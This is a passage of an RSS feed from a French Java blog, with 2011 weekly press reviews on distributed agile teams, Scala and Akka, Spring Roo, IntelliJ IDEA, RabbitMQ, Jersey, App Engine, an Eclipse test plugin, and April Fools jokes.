coûts faibles, ressources infinis, développements résilients (&laquo;&nbsp;follow the sun&nbsp;&raquo;). Anurag nous indique les facteurs clés de succès pour obtenir un retour sur investissement réel:</p><ul><li>construire une relation dans la durée en misant sur des équipes captives: la montée en compétence sur le métier du donneur d&#8217;ordre ne doit pas être galvaudée</li><li>s&#8217;investir dans la connaissance de la culture distante</li><li>éviter les contrats rigides et laisser de la place pour que l&#8217;équipe distante s&#8217;exprime</li><li>donner des perspectives à l&#8217;équipe distante: ne pas sous-estimer l&#8217;aspiration des développeurs à tendre vers des technos récentes</li><li>mettre en place l&#8217;agilité pour responsabiliser les équipes et partager les engagements.</li></ul><p>Patrick Anfossi, directeur informatique au sein de la branche <a
title="Environnement de Plastic Omnium" href="http://www.plasticomnium.com/fr/decouvrir-plastic-omnium/pole-environnement.html">Environnement de Plastic Omnium</a>, a ensuite partagé son retour d&#8217;expérience d&#8217;une part sur la transformation agile de son organisation, amorcée il y a 3 ans avec Xebia France, et d&#8217;autre part sur la mise en oeuvre d&#8217;un mode de réalisation agile distribué avec Xebia India et Xebia France. Les points marquants de la présentation de Patrick étaient les suivants:</p><ul><li>Avant la mise en place de l&#8217;agilité, Patrick explique que l&#8217;approche de Plastic Omnium était de faire faire. L&#8217;activité des intervenants de la DSI était donc principalement orientée gestion de contrat: rédaction de cahier des charges, définition de plans qualité, suivi contractuel</li><li>Lors de la mise en place de l&#8217;agilité, l&#8217;approche n&#8217;a pas été de choisir un processus plutôt qu&#8217;un autre mais de réfléchir aux valeurs que la DSI souhaitait promouvoir, ces valeurs étant dérivées du manifeste des méthodes agiles</li><li>La DSI est passée d&#8217;un mode hypercontractualisé à de l&#8217;assistance technique</li><li>La difficulté à laquelle fait face la DSI aujourd&#8217;hui pour maintenir l&#8217;agilité dans la durée est d&#8217;aligner le métier sur cette organisation. le rôle de Product Owner par exemple est difficile à tenir car ses prérogatives sont réparties sur plusieurs individus et ils manquent de cérémonies pour entretenir une vision à moyen terme du produit. La notion de valeur est également diffuse, contrairement à un éditeur de logiciel où un bénéfice financier direct peut être estimé quasiment pour chaque fonction</li><li>Patrick termine en expliquant l&#8217;organisation agile distribuée adoptée sur un de ses projets. Il a choisi de travailler avec l&#8217;Inde pour les possibilités de montée et descente en charge rapidement. Il souligne d&#8217;ailleurs que les profils de Xebia India sont de haut niveau à des TJM introuvables en Europe</li></ul><p>Pour conclure cet après-midi, Laurent Sarazin a rejoué sa <a
title="présentation du Scrum Day 2011" href="http://www.youtube.com/watch?v=g7JFS9etUUQ">présentation du Scrum Day 2011</a> dans laquelle il présente son modèle <a
title="Scrumshore" href="https://sites.google.com/site/scrumshore/home">Scrumshore</a>, disponible en license Creative Commons. Un modèle qui se base sur de solides sources d&#8217;inspiration mais conserve une forme très pédagogique et facile d&#8217;abord. A utiliser sans modération en environnement distribué !</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/06/28/revue-de-presse-xebia-217/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2011/05/17/revue-de-presse-xebia-211/</link> <comments>http://blog.xebia.fr/2011/05/17/revue-de-presse-xebia-211/#comments</comments> <pubDate>Tue, 17 May 2011 17:37:46 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[akka]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[IDE]]></category> <category><![CDATA[IDEA]]></category> <category><![CDATA[Netbeans]]></category> <category><![CDATA[SBT]]></category> <category><![CDATA[scala]]></category> <category><![CDATA[Spring ROO]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=7742</guid> <description><![CDATA[La revue de presse de l’actualité Java/JEE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Création de TypeSafe et sorties conjointes de Scala 2.9 et Akka 1.1 Sortie de Spring Roo 1.1.4 Le coin de la technique Sortie de IntelliJ IDEA 10.5 et baisse des tarifs Actualité éditeurs / SSII Création de TypeSafe et sorties [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse de l’actualité Java/JEE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/05/17/revue-de-presse-xebia-211/#CrationdeTypeSafeetsortiesconj">Création de TypeSafe et sorties conjointes de Scala 2.9 et Akka 1.1</a></li><li><a
href="http://blog.xebia.fr/2011/05/17/revue-de-presse-xebia-211/#SortiedeSpringRoo">Sortie de Spring Roo 1.1.4</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/05/17/revue-de-presse-xebia-211/#SortiedeIntelliJIDEAetbaissede">Sortie de IntelliJ IDEA 10.5 et baisse des tarifs</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="CrationdeTypeSafeetsortiesconj"></a>Création de TypeSafe et sorties conjointes de Scala 2.9 et Akka 1.1</h4><p>Jeudi dernier, Martin Odersky a <a
title="annoncé" href="http://blog.typesafe.com/introducing-typesafe">annoncé</a> la création de la société <a
title="TypeSafe" href="http://typesafe.com/">TypeSafe</a> avec d&#8217;autres acteurs importants du monde <em>Scala</em> tel que <em>Jonas Bonér</em> (créateur de la librairie <a
title="Akka" href="http://akka.io/">Akka</a>) ou encore <em>Mark Harra</em> (créateur de <a
title="sbt" href="http://code.google.com/p/simple-build-tool/">sbt</a>) pour ne citer qu&#8217;eux. Notez qu&#8217;en regardant la liste des personnes impliquées dans la société <em>TypeSafe</em>, on peut voir que <em>James Gosling</em> et <em>Doug Lea</em> sont cités en tant que conseillers.</p><p>La vocation de cette nouvelle société est de promouvoir et de fournir un support commercial aux divers composants proposés :</p><ul><li>le langage <em>Scala</em> qui est un langage orienté objet et fonctionnel,</li><li>le middleware <em>Akka</em> qui fournit les services de base permettant d&#8217;obtenir une scalabilité horizontale et verticale ainsi que la tolérance aux pannes de vos applications,</li><li>l&#8217;outil <em>Simple Build Tool</em> permettant de construire vos applications,</li><li>le <a
title="plugin" href="http://www.scala-ide.org/">plugin</a> <em>Scala IDE</em> permettant de développer en <em>Scala</em> sous <em>Eclipse</em>.</li></ul><p>Le langage <em>Scala</em> gagnant progressivement en popularité, notamment dans le monde bancaire et financier, il devenait nécessaire d&#8217;apporter un support commercial au travers d&#8217;une société regroupant les personnes et les moyens nécessaires (3M$ levés à l&#8217;occasion). Le langage Scala est par ailleurs toujours développé dans le cadre du laboratoire <a
title="LAMP" href="http://lamp.epfl.ch/">LAMP</a> de l&#8217;EPFL qui à <a
title="reu rcemment" href="http://www.scala-lang.org/node/8579">reçu récemment</a> un financement de l&#8217;Union Européenne pour le développement de technologies liées à la scalabilité.</p><p>L&#8217;annonce de la création de <em>TypeSafe</em> à été accompagnée par deux autre annonces de tailles :</p><ul><li>la <a
title="sortie" href="http://www.scala-lang.org/node/9483">sortie</a> de la version finale de <em>Scala 2.9</em>,</li><li>et la <a
title="sortie" href="http://groups.google.com/group/akka-user/browse_thread/thread/d0f8a23196220f10">sortie</a> de la version 1.1 du framework Akka.</li></ul><p>Vous pourrez trouver plus de détails sur les nouveautés de <em>Scala 2.9</em> dans <a
title="cette entre" href="http://blog.xebia.fr/2011/03/29/revue-de-presse-xebia-204/#Scalaestsurlesrails">cette entrée</a> consécutive à la sortie de la première <em>Release Candidate</em>. La principale nouveauté de cette version reste tout de même le support des <em>Parrallel Collections</em> permettant le traitement en parallèle des opérations sur les collections.</p><p>L&#8217;autre annonce concerne le projet <em>Akka</em>. <em>Akka</em> est un middleware permettant la mise en place d&#8217;architectures scalables, <em>Event Driven</em> et tolérante aux pannes, largement inspiré du monde des télécoms (notamment <a
title="Erlang OTP" href="http://www.erlang.org/">Erlang OTP</a>). Les fonctionnalités offertes par <em>Akka</em> sont :</p><ul><li>support des Acteurs (dans un modèle un peu différent de celui fournit dans la librairie standard de <em>Scala</em>),</li><li>la tolérance aux pannes et la haute disponibilité (utilisant le modèle <em>&laquo;&nbsp;Let it crash / Embrace failure&nbsp;&raquo;</em>),</li><li>le modèle de <em>Software Transaction Memory</em> permettant la définition d&#8217;opérations transactionnelles sur des objets en mémoire,</li><li>les <em>Transactors</em> appliquant le <em>STM</em> au modèle des <em>Acteurs</em>,</li><li>les acteurs distribués (scalabilité verticale),</li><li>la concurrence à l&#8217;aide d&#8217;<em>Agents</em> et de <em>DataFlow</em>,</li><li>une API disponible en <em>Scala</em> ainsi qu&#8217;en Java (le middleware <em>Akka</em> est écrit en <em>Scala</em>).</li></ul><p>La version 1.1 de <em>Akka</em> apporte notamment le support de la version 2.9 de <em>Scala</em>, une réduction des dépendances externes, l&#8217;amélioration des <em>APIs</em> et de nombreuses corrections de bugs et amélioration de performances.</p><p>Avec cette annonce, on peut espérer que le langage <em>Scala</em> gagne un peu plus de terrain dans le monde de l&#8217;entreprise.</p><h4><a
name="SortiedeSpringRoo"></a>Sortie de Spring Roo 1.1.4</h4><p>Spring Roo vient juste de mettre à disposition sa version 1.1.4 disponible <a
title="ici" href="http://www.springsource.com/download/community?project=Spring%20Roo">ici</a>. Pour rappel, Spring Roo est un IDE texte pour le développement rapide d&#8217;applications Java. A la manière d&#8217;un Grails, vous pouvez générer une application complète <a
title="en quelques minutes" href="http://www.springsource.org/roo/start">en quelques minutes</a>.</p><p>Cette version apporte <a
title="de nombreuses" href="https://jira.springsource.org/secure/ReleaseNote.jspa?projectId=10340&amp;version=11817">de nombreuses</a> corrections de bogues et améliorations dont les principales sont :</p><ul><li>Support de <strong>Google App Engine</strong> 1.4.3 et du plugin <strong>maven-gae-plugin</strong> en version 0.8.4</li><li>Montée de version <strong>Hibernate</strong>, Spring Roo passe de la version 3.6.1.Final à la version 3.6.3.Final</li><li>Montée de version du driver <strong>SolrJ</strong> en version 1.4.1</li></ul><p>La prochaine version prévue portera le numéro <a
title="1.2.0" href="https://jira.springsource.org/secure/ReleaseNote.jspa?projectId=10340&amp;version=11708">1.2.0</a> et apportera de nouvelles fonctionnalités (Support de JSF 2.0, amélioration <a
title="DBRE" href="http://static.springsource.org/spring-roo/reference/html-single/index.html#base-dbre">DBRE</a>, &#8230;).</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="SortiedeIntelliJIDEAetbaissede"></a>Sortie de IntelliJ IDEA 10.5 et baisse des tarifs</h4><p><em>Jetbrains</em> vient juste d&#8217;<a
title="annoncer" href="http://blogs.jetbrains.com/idea/2011/05/intellij-idea-105-released-new-technologies-new-features-new-pricing/">annoncer</a> la sortie d&#8217;une nouvelle version de son produit phare <a
title="Intellij IDEA" href="http://www.jetbrains.com/idea/">Intellij IDEA</a>.</p><p>Cette nouvelle version apporte un certain nombre de nouveauté dont :</p><ul><li>le support complet de <em>Java 7</em> qui doit sortir cet été,</li><li>un nouveau système de complétion (avec notamment un mode de complétion type camel-case sans utiliser de majuscules),</li><li>le support de tout <a
title="nouveau" href="http://blog.xebia.fr/2011/05/04/revue-de-presse-xebia-209/#SortiedelaversiondeGroovy">nouveau</a> <em>Groovy 1.8</em>,</li><li>le <a
title="support amlior" href="http://blogs.jetbrains.com/idea/2011/05/better-spring-with-intellij-idea-105/">support amélioré</a> de <em>Spring</em> et de <em>Spring Integration</em> ainsi que la prise en compte du futur <em>Spring 3.1</em> ,</li><li>le debug du code javascript dans <em>Chrome</em>,</li><li>l&#8217;intégration du serveur <em>Jetty</em>,</li><li>support de <em>XSLT2</em>,</li><li>tout un tas d&#8217;amélioration dans le support de différents langages et framework : <em>Grails</em>, <em>Flex</em>, <em>Javascript</em>, <em>Android</em> &#8230;</li><li>et les inévitables corrections de bugs et amélioration de performances.</li></ul><p>A noter que le développement du plugin <em>Scala</em> (sujet d&#8217;actualité dans cette revue de presse) suit son petit bonhomme de chemin et apporte un confort de plus en plus grand aux utilisateurs de ce superbe langage.</p><p>Autre nouveauté qui coïncide avec cette nouvelle version : le <a
title="prix" href="http://www.jetbrains.com/idea/buy/index.jsp">prix</a> ! Comme vous pouvez le constater, l&#8217;acquisition d&#8217;une nouvelle licence ou la mise à jours de la version &laquo;&nbsp;Ultimate&nbsp;&raquo; bénéficie de tarifs sensiblement moins élevés. Notez bien, en revanche, que pour les détenteurs d&#8217;une licence de la version 10, le passage en version 10.5 se fait gratuitement. Pour tous, la version &laquo;&nbsp;Community&nbsp;&raquo;, open source mais aux fonctionnalités plus limitées, reste gratuite.</p><p>Pour faire le tour des IDE principaux, rappelons que Netbeans 7 <a
title="est lui sorti" href="http://www.developpez.com/actu/31254/NetBeans-7-disponible-en-version-finale-avec-le-support-de-la-version-beta-d-OpenJDK-7-et-de-nombreuses-ameliorations/">est lui sorti</a> courant avril, avec aussi le support de Java 7 en plus de <a
title="nombreuses amliorations" href="http://netbeans.org/community/releases/70/">nombreuses améliorations</a>. Et pour finir, ce sera le 22 juin que sortira Eclipse 3.7, de son petit nom &laquo;&nbsp;Indigo&nbsp;&raquo;. Nous découvrirons alors si le plugin m2Eclipse a finalement été intégré à la distribution Eclipse (il n&#8217;est toujours pas dans les dernières version <em>Milestone</em>) et si le support de Git est désormais bien fourni de base. En tout cas, cette version supportera elle aussi la majorité des nouveautés de Java 7.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/05/17/revue-de-presse-xebia-211/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2011/04/05/revue-de-presse-xebia-205/</link> <comments>http://blog.xebia.fr/2011/04/05/revue-de-presse-xebia-205/#comments</comments> <pubDate>Tue, 05 Apr 2011 05:12:32 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[AMQP]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Google App Engine]]></category> <category><![CDATA[Grizzly]]></category> <category><![CDATA[Jersey]]></category> <category><![CDATA[MoreUnit]]></category> <category><![CDATA[rabbitmq]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=7379</guid> <description><![CDATA[La revue de presse de l’actualité Java/JEE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII RabbitMQ 2.4 et Spring AMQP 1.0 Jersey 1.6 Le coin de la technique Google App Engine 1.4.3 Eclipse: des classes de tests clé en main Notre communauté en France et à l&#8217;étranger Pas frais mon poisson ?! Actualité éditeurs / [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/JEE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/04/05/revue-de-presse-xebia-205/#RabbitMQetSpringAMQP">RabbitMQ 2.4 et Spring AMQP 1.0</a></li><li><a
href="http://blog.xebia.fr/2011/04/05/revue-de-presse-xebia-205/#Jersey">Jersey 1.6</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/04/05/revue-de-presse-xebia-205/#GoogleAppEngine">Google App Engine 1.4.3</a></li><li><a
href="http://blog.xebia.fr/2011/04/05/revue-de-presse-xebia-205/#Eclipsedesclassesdetestsclenma">Eclipse: des classes de tests clé en main</a></li></ul><p><strong>Notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/04/05/revue-de-presse-xebia-205/#Pasfraismonpoisson">Pas frais mon poisson ?!</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="RabbitMQetSpringAMQP"></a>RabbitMQ 2.4 et Spring AMQP 1.0</h4><p>Depuis l&#8217;<a
href="http://blog.xebia.fr/2010/04/19/revue-de-presse-xebia-155/#RabbitMQrachetparSpringSource" title="annonce" >annonce</a> de RabbitMQ par SpringSource, l&#8217;éditeur est devenu de facto un moteur important pour imposer le standard AMQP dans les choix d&#8217;architecture nécessitant un serveur de message. Cet investissement n&#8217;est plus à remettre en doute avec les dernières annonces et articles qui nous viennent de SpringSource ces dernières semaines.</p><p><strong><a
href="http://www.springsource.org/node/3079" title="Spring AMQP 10 Release Candidate 1" >Spring AMQP 1.0 Release Candidate 1</a></strong></p><p>Pour rappel AMQP est un protocol de messagerie indépendant du langage qui dans une certaine mesure peut remplacer JMS pour les applications Java. Ce protocole est encore sujet à de nombreuses modifications, la version 1.0, qui a pris beaucoup de retard, devrait sortir dans quelques mois. Malgré tout il existe déjà quelques serveurs de message se basant dessus comme <a
href="http://qpid.apache.org/" title="QPid" >QPid</a>, <a
href="http://stormmq.com/" title="StormMQ" >StormMQ</a> (cloud) ou justement RabbitMQ. Comme à son habitude SpringSource propose donc une couche d&#8217;abstraction pour faciliter l&#8217;utilisation de ce protocole d&#8217;où <code>spring-amqp</code>.</p><p>On retrouvera une classe <code>AmqpTemplate</code> permettant la configuration au serveur puis la réception ou l&#8217;envoi de message. Ce template n&#8217;est en théorie pas dépendant de la plateforme mais pour l&#8217;instant une seule implémentation existe et comme on peut s&#8217;y attendre il s&#8217;agit de <code>RabbitTemplate</code>. Cette version ne semble pas encore tout à fait abouti entre autre parce qu&#8217;AMQP est encore en cours de mutation. Mais il permet à SpringSource de capter les utilisateurs de ce nouveau protocole.</p><p><strong><a
href="http://www.springsource.org/node/3073" title="RabbitMQ 24" >RabbitMQ 2.4</a></strong></p><p>RabbitMQ est sans doute le serveur de messagerie le plus connu utilisant ce protocole. Cette nouvelle version contient entre autre quelques nouvelles améliorations (voir la <a
href="http://lists.rabbitmq.com/pipermail/rabbitmq-discuss/2011-March/011985.html" title="release note complte" >release note complète</a>):</p><ul><li>accélération du routage des messages: le protocole permet de spécifier des <em>wildcards</em> dans les adresses de destination des messages (par exemple pour récupérer les messages portant sur <code>stock.voiture.bleue</code> et <code>stock.voiture.rouge</code> on s&#8217;abonnera à la queue <code>stock.voiture.#</code>). L&#8217;algorithme pour résoudre cet acheminant a été revu en profondeur pour des gains de performance multipliés par 60.</li><li>propagation des alertes sur la mémoire à tous les noeuds du cluster</li><li>possibilité d&#8217;ajouter des CC et BCC dans les destinataires des messages. Dans le cas du BCC, les destinataires ne seront plus visibles par le client. A noter que ce format n&#8217;est pas compris dans le protocole d&#8217;AMQP.</li><li>capacité d&#8217;écouter les événements d&#8217;annulation d&#8217;une écoute sur une queue (parce qu&#8217;un noeud tombe par exemple) du côté client.</li><li>ajout d&#8217;un <code>timeout</code> sur la <code>ConnectionFactory</code></li></ul><p>Le premier point, accélération du routage, a donné lieu à un <a
href="http://blog.springsource.com/2011/04/01/routing-topologies-for-performance-and-scalability-with-rabbitmq/" title="article trs intressant" >article très intéressant</a> de Helena Edelson sur le blog de SpringSource sur le lien entre la topologie utilisée et la scalabilité qui en résulte. En effet lorsque le routage pouvait être un problème au niveau performance, des solutions privilégiant des modes de routage directs étaient privilégiés à celles contenant des mécanismes de routage plus sophistiqués. La contrepartie était la création d&#8217;un plus grand nombre d&#8217;<code>exchange</code> (zone de publication). Ce gain de performance permet donc de simplifier la topologie.</p><h4><a
name="Jersey"></a>Jersey 1.6</h4><p><a
href="http://jersey.java.net" title="Jersey" >Jersey</a> — l&#8217;implémentation JAX-RS de référence — passe en version 1.6. Elle utilise désormais la toute récente version 2.0 de <a
href="http://grizzly.java.net" title="Grizzly" >Grizzly</a> — le listener HTTP basé sur NIO — en faisant place à un nouvel artifact : jersey-grizzly2 (le support de la version précédente est conservé mais également déporté dans un artifact).</p><p>La <a
href="http://java.net/projects/jersey/sources/svn/content/tags/jersey-1.6/jersey/changes.txt" title="release note" >release note</a> promet plusieurs points dignes d&#8217;intérêt :</p><ul><li>la gestion de liste d&#8217;éléments, évitant la création d&#8217;un noeud racine « au pluriel » dès qu&#8217;une liste doit être fournie au premier niveau du XML ;</li><li>un enrichissement de la déclaration des headers et du path des ressources ;</li><li>une plus grande facilité de rédaction des tests unitaires, les classes jusqu&#8217;alors présentes étant plus aisément intégrables dans une variété de contextes ;</li><li>l&#8217;ajout d&#8217;exemples de code pour la configuration par Jackson en remplacement à JAXB (peu documenté jusque là) et pour les nouveautés Grizzly.</li></ul><p>Gare, certains changements — notamment depuis Grizzly 2.0 — ne sont pas rétro-compatibles ; ils sont listés en pied de release note.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="GoogleAppEngine"></a>Google App Engine 1.4.3</h4><p>La version 1.4.3 de Google App Engine a été annoncée <a
href="http://googleappengine.blogspot.com/2011/03/announcing-app-engine-143-release_30.html" title="mercredi dernier" >mercredi dernier</a>. Cette version réduit l&#8217;écart des fonctionnalités disponibles entre les langages Python et Java. Côté Python, on peut citer rapidement la disponibilité de stub pour les services App Engine afin de faciliter l&#8217;écriture de tests d&#8217;intégration. Côté Java, on note l&#8217;ajout de l&#8217;API Remote qui permet à un client distant d&#8217;attaquer les services backend <em>Live</em> App Engine. Un cas d&#8217;utilisation typique de cette API, la possibilité d&#8217;effectuer des traitements &laquo;&nbsp;One shot&nbsp;&raquo; (migration / correction de données, etc.) sans avoir à les inclure comme composants de l&#8217;application web.</p><p>Autre nouveauté de taille de cette version, la disponibilité de l&#8217;attribut <code>threadsafe</code> pour votre application qui permet le traitement en parallèle des requêtes. Jusqu&#8217;à présent, le traitement des requêtes étaient sérialisées; plusieurs instances pouvaient être allouées pour soutenir la charge, mais le traitement des requêtes sur une même instance ne s&#8217;effectuait pas en parallèle. L&#8217;activation de cette fonctionnalité s&#8217;effectue simplement en ajoutant la balise <code>threadsafe</code> dans le fichier de configuration de l&#8217;application. La désactivation de ce mode de fonctionnement par défaut peut surprendre dans la mesure où, le modèle de parallélisation d&#8217;un serveur web le modèle le plus répandu et sans doute le plus simple à appréhender.</p><p>Enfin, en plus du lot de correction de bugs, une modification salutaire pour le service de Job, il est maintenant possible de spécifier la version cible de l&#8217;application pour le traitement des requêtes.</p><h4><a
name="Eclipsedesclassesdetestsclenma"></a>Eclipse: des classes de tests clé en main</h4><p>Le plugin <a
href="http://moreunit.sourceforge.net/" title="MoreUnit" >MoreUnit</a> pour Eclipse, dont nous vous avons déjà parlé <a
href="http://blog.xebia.fr/2010/11/03/tdd-et-productivite/#LepluginMoreUnit" title="sur ce blog" >sur ce blog</a> pour le gain de temps qu&#8217;il offre dans l&#8217;écriture de tests unitaires, propose depuis peu une fonctionnalité intéressante : la génération du code &laquo;&nbsp;boilerplate&nbsp;&raquo; de vos classes de test. Partant d&#8217;une classe à tester, il va créer des <a
href="http://fr.wikipedia.org/wiki/Mock_(programmation_orient%C3%A9e_objet)" title="mocks" >mocks</a> pour ses dépendances et va ensuite instancier la classe en lui affectant les dépendances simulées. Un exemple est disponible dans la <a
href="http://moreunit.sourceforge.net/#documentation/mocksupport" title="documentation du plugin" >documentation du plugin</a>.</p><p>L&#8217;outil se base sur des conventions courantes pour détecter les dépendances d&#8217;une classe. Sont considérés comme dépendances :</p><ul><li>les paramètres du constructeur ayant le plus grand nombre d&#8217;arguments ;</li><li>les propriétés ayant des setters ;</li><li>les champs visibles par la classe de test.</li></ul><p>L&#8217;intérêt de cette fonctionnalité est immédiat : on gagne beaucoup en temps et en motivation lorsqu&#8217;il faut ajouter des tests à des classes existantes non testées. En un clic, une classe de test est prête à accueillir le code qui nous intéresse vraiment, à savoir le test lui-même.</p><p>A l&#8217;heure actuelle Mockito et EasyMock sont supportés et les développeurs se proposent d&#8217;étendre cela si nécessaire. Enfin, à savoir, l&#8217;outil fonctionne pour l&#8217;instant en mode &laquo;&nbsp;tout ou rien&nbsp;&raquo; : il n&#8217;est pas possible de choisir les dépendances que l&#8217;on veut mocker, mais l&#8217;équipe de MoreUnit promet un wizard sous peu.</p><h3><a
name="NotrecommunautenFranceetltrang"></a>Notre communauté en France et à l&#8217;étranger</h3><h4><a
name="Pasfraismonpoisson"></a>Pas frais mon poisson ?!</h4><p>Comme tous les ans, le 1er avril est l&#8217;occasion pour certains sites de nous amuser en perpétuant la tradition du poisson d&#8217;avril. Voyons ceux que nous avons retenu:</p><ul><li>InfoQ a créé chez nombre d&#8217;entre nous un moment d&#8217;incrédulité en annonçant <a
href="http://www.infoq.com/news/2011/04/http-1.2-released" title="la version 1.2 du protocole HTTP" >la version 1.2 du protocole HTTP</a>. La version 1.1, <a
href="http://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol" title="finalis depuis 1999" >finalisé depuis 1999</a> se voyait soit-disant améliorée avec l’ajout de ressources hiérarchiques et de menus textuels. Elle se comporterait comme un &laquo;&nbsp;mountable read-only global network file system&nbsp;&raquo;. Ce nouveau protocole se permettrait même de casser la compatibilité avec l&#8217;existant (!) en imposant  que tous les en-têtes de la requête soient connus et acceptés par le serveur sous peine de voir celle-ci rejetée ! Un fort beau poisson au final.</li><li><a
href="http://www.infoq.com/news/2011/04/h-a-manifesto" title="InfoQ" >InfoQ</a>, encore eux, nous relate la publication du dernier né des manifestes: <a
href="http://www.halfarsedagilemanifesto.org/" title="le H-A Manifesto" >le H-A Manifesto</a> (HA pour &laquo;&nbsp;Half-Arsed&nbsp;&raquo; que nous ne traduirons pas). Ce manifeste, qui parodie bien sûr le <a
href="http://agilemanifesto.org/" title="manifeste agile" >manifeste agile</a>, se veut être la version <em>enterprise ready</em>, permettant d&#8217;intégrer les pratiques agiles dans le cadre rigide d&#8217;une grande compagnie. Ce manifeste fera à n&#8217;en pas douter bien rire tout ceux qui ont été confrontés à des problèmes d&#8217;intégration des méthodes agiles dans des environnements réfractaires.</li><li>Tant que nous sommes dans les manifestes, citons le <a
href="http://www.boingboing.net/2011/03/25/manifesto-manifesto.html" title="Manifeste pour Manifeste" >Manifeste pour Manifeste</a> qui se propose de théoriser l&#8217;écriture d&#8217;un manifeste. Tout nouveau manifeste se devra à coup sûr de respecter les règles y étant énoncées.</li><li>Qui ne connaît pas <a
href="http://www.joelonsoftware.com/" title="Joël On Software" >Joël On Software</a> ? C’est le site de Joël Spolsky, le fondateur du fantastique <a
href="http://stackoverflow.com/" title="StackOverflow" >StackOverflow</a> et plus récemment de la compagnie <a
href="http://stackexchange.com/" title="Stack Exchange" >Stack Exchange</a> se proposant d’appliquer le principe de la collaboration de StackOverflow à d’autres thèmes. Sur son site, Joël nous parle régulièrement de tout ce qui fait la vie d&#8217;un informaticien. Pour le 1er avril, il a ouvert un nouveau site: <a
href="http://joeloncoal.com" title="Joël on Coal" >Joël on Coal</a>. comme son nom l&#8217;indique, il nous parle de tout ce qui fait la vie d&#8217;un bon&#8230; mineur de charbon ! Et Joël va jusqu&#8217;à parodier son fameux <a
href="http://www.joelonsoftware.com/articles/fog0000000043.html" title="Jol test" >Joël test</a> qui est connu pour permettre d&#8217;identifier rapidement les bonnes équipes de développement. La version parodique, n&#8217;est bien sûr drôle que si l&#8217;on la rapproche de l&#8217;original.</li><li>Oracle n&#8217;en aurait apparemment pas fini avec les procès. Cette fois-ci, c&#8217;est la chaîne de cafés Starbucks <a
href="http://www.infoworld.com/t/misadventures/oracle-sues-starbucks-over-java-trademark-176" title="qui est poursuivie" >qui est poursuivie</a>. Il faut dire qu&#8217;ils ont cherché les problèmes en osant nommer un de leurs café &laquo;&nbsp;Java Chip Frappucino Ice Cream&nbsp;&raquo; alors que tout le monde sait que <em>Java</em> est une marque déposée d&#8217;Oracle. Tout ceci est bien sûr vrai, mais seulement début avril chez <a
href="http://www.infoworld.com" title="Infoworld" >Infoworld</a>.</li><li>Pour finir notre tour des poissons, citons 2 scripts javascript fournis par <a
href="http://www.thewojogroup.com" title="The Wojo Group" >The Wojo Group</a>. <a
href="http://www.thewojogroup.com/2011/04/april-fools-is-this-flash-javascript-trick" title="Le premier" >Le premier</a> fera passer n&#8217;importe quel élément html pour du Flash en changeant le menu contextuel (clic droit) et en imitant celui de Flash. <a
href="http://www.thewojogroup.com/2010/03/april-fools-floating-text-script" title="Le second" >Le second</a> rappellera à certains d&#8217;entre nous l&#8217;époque où les chevaux de troie n&#8217;existaient pas et où les virus, qui se transmettaient par disquette, corrompaient l&#8217;affichage à l&#8217;écran. En effet, ce script fera bouger certains mots de votre page web d&#8217;une manière étonnante qui rappellera les plus amusants des virus de l&#8217;époque.</li></ul><p>Et comme tous les 1er avril, nous nous sommes encore amusés ! Vivement dans un an pour de nouveaux  >++++)°></p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/04/05/revue-de-presse-xebia-205/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Configurer automatiquement Eclipse avec Maven</title><link>http://blog.xebia.fr/2011/01/19/configurer-automatiquement-eclipse-avec-maven/</link> <comments>http://blog.xebia.fr/2011/01/19/configurer-automatiquement-eclipse-avec-maven/#comments</comments> <pubDate>Wed, 19 Jan 2011 13:58:22 +0000</pubDate> <dc:creator>Nathaniel Richand</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[java]]></category> <category><![CDATA[M2Eclipse]]></category> <category><![CDATA[Maven]]></category> <guid
